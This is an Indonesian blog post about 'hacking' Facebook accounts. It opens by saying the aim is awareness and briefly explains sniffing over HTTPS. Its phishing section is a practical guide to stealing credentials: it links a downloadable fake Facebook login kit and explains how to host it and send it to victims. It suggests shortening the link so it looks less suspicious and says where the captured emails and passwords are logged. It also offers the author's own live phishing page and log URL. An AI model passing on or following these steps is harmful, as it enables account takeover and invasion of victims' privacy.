Hacking Facebook Account

Sebenarnya dari dulu saya kurang tertarik mengangkat topik ini karena:

• Umum: coba anda perhatikan saat mengunjungi forum, situs maupun blog kemungkinan besar disitu terdapat "Hacking Facebook"
• Kurang bermanfaat: apa gunannya mengambil account Facebook orang lain? teman? pacar? Toh semua tentang mereka bisa kita lihat lewat account kita, kecuali hal-hal yang bersifat pribadi. Hormatilah privasi orang lain.
• Ga keren: apa yang akan anda lakukan saat sudah mengambil alih facebook orang teman? mencuri chip poker? mengganti foto profilnya dengan gambar porno? update status menggunakan kata-kata kotor? FU@K THEM!

Mungkin cukup itu alasan saya. Tentunya sekarang anda bertanya "kenapa ditulis?". Selain sedang miskin ide, alasan saya menulis ini adalah untuk sharing agar anda tidak terjebak didalamnya, pencurian account Facebook.

Hacking Facebook

Sebenarnya sulit melakukan hack ke Facebook langsung karena sistem keamanan Facebook yang secure, salah satu yang saya ketahui sudah saya tulis pada posting sebelumya:
XSS Vulnerability pada 1.61.channel.facebook.com

Tulisan-tulisan yang sering kita temukan tentang hacking Facebook sebenarnya dapat dikelompokan menjadi:

• Sniffing: memata-matai lalu-lintas data korban.
• Phisihng: biasanya menggunakan fake login/halaman login palsu
• Scam: mengirim email palsu
• Keylogger/pencurian password
• Social engineering

Anda lihat, semuanya memanfaatkan kelemahan user. Jadi cara agar anda terhindar dari pencurian account Facebook adalah anda harus mengetahui cara pencurian account itu sendiri. :)

Sniffing

Seperti yang anda ketahui, saat ini sebagian besar halaman Facebook menggunakan protokol https temasuk saat proses login, jadi untuk sniffing tidak dapat dilakukan dengan cara biasa seperti pada http. Hal ini dikarenakan protokol https merupakan http yang di tumpangkan ke dalam SSL dan semua data yang dilewatkan pada SSL dijamin kerahasiaanya dari endpoint ke endpoint karena data itu dalam keadaan terenkripsi. Jadi meskipun kita bisa mendapatkan data tersebut, kita tidak tau apa isinya karena data itu terenkripsi. Mengenai SSL dan sniffing pada https ini akan saya bahas pada posting-posting selanjutnya.

Phishing

Inilah yang kerap kali digunakan oleh attacker untuk mendapatkan email sekaligus password para korbanya. Hanya dengan mengandalkan kecerobohan korban, attacker dapat dengan mudah mengambil alih account korban. Berikut ini kronologinya:

• Attacker menyiapkan fake login/halaman login palsu yang didesain semirip mungkin dengan halaman login Facebook.
• Attacker meng-upload fake login ke server miliknya.
• Link fake login diberikan kepada calon korban.
• Saat calon korban mengeksekusi link tersebut, korban akan disuguhi fake login milik attacker.
• Korban yang ceroboh akan mengira bahwa dirinya benar-benar diminta login oleh Facebook.
• Korban mengisikan alamat email dan passwordnya dan login
• Saat korban melakukan login, alamat email  dan password yang diisikanya tadi dikirim ke server milik attacker
• Agar tidak curiga, korban lansung diarahkan ke alamat Facebook yang sesungguhnya.

 Setelah tahu cara kerjanya, silahkan anda praktekan untuk lebih memahaminya.

Pertama, silahkan download fake login:

http://www.4shared.com/file/E_qHSNPY/facebook_fake_login.html

Extract file rar tersebut, lalu upload ketiga isinya ke hosting anda. Saya menggunakan http://my3gb.com silahkan bila anda belum memiliki hosting anda bisa langsung registrasi.

Berikan url index.html kepada calon korban: http://username.my3gb.com/

Karena saya meletakan ketiga file tersebut di direktori "facebook" maka url yang saya berikan: http://username.my3gb.com/facebook/

Selanjutnya data (email dan password) korban di simpan log.txt. Anda dapat melihatnya pada http://username.my3gb.com/log.txt

Jika ketiga file tadi anda masukan ke direktori "facebook" maka yang anda buka adalah http://username.my3gb.com/facebook/log.txt

Catatan: agar link tidak terlalu fulgar, anda dapat menyingkatnya menggunakan http://goo.gl

Bila anda hanya ingin mencoba tanpa membuat hosting, silahkan gunakan fake login saya:
http://goo.gl/JWvuQ

dan hasilnya dapat dilihat di:
http://kresekonline.my3gb.com/facebook/log.txt

Untuk scam, keylogger, dan social engineering akan saya bahas pada posting berikutnya. Terima kasih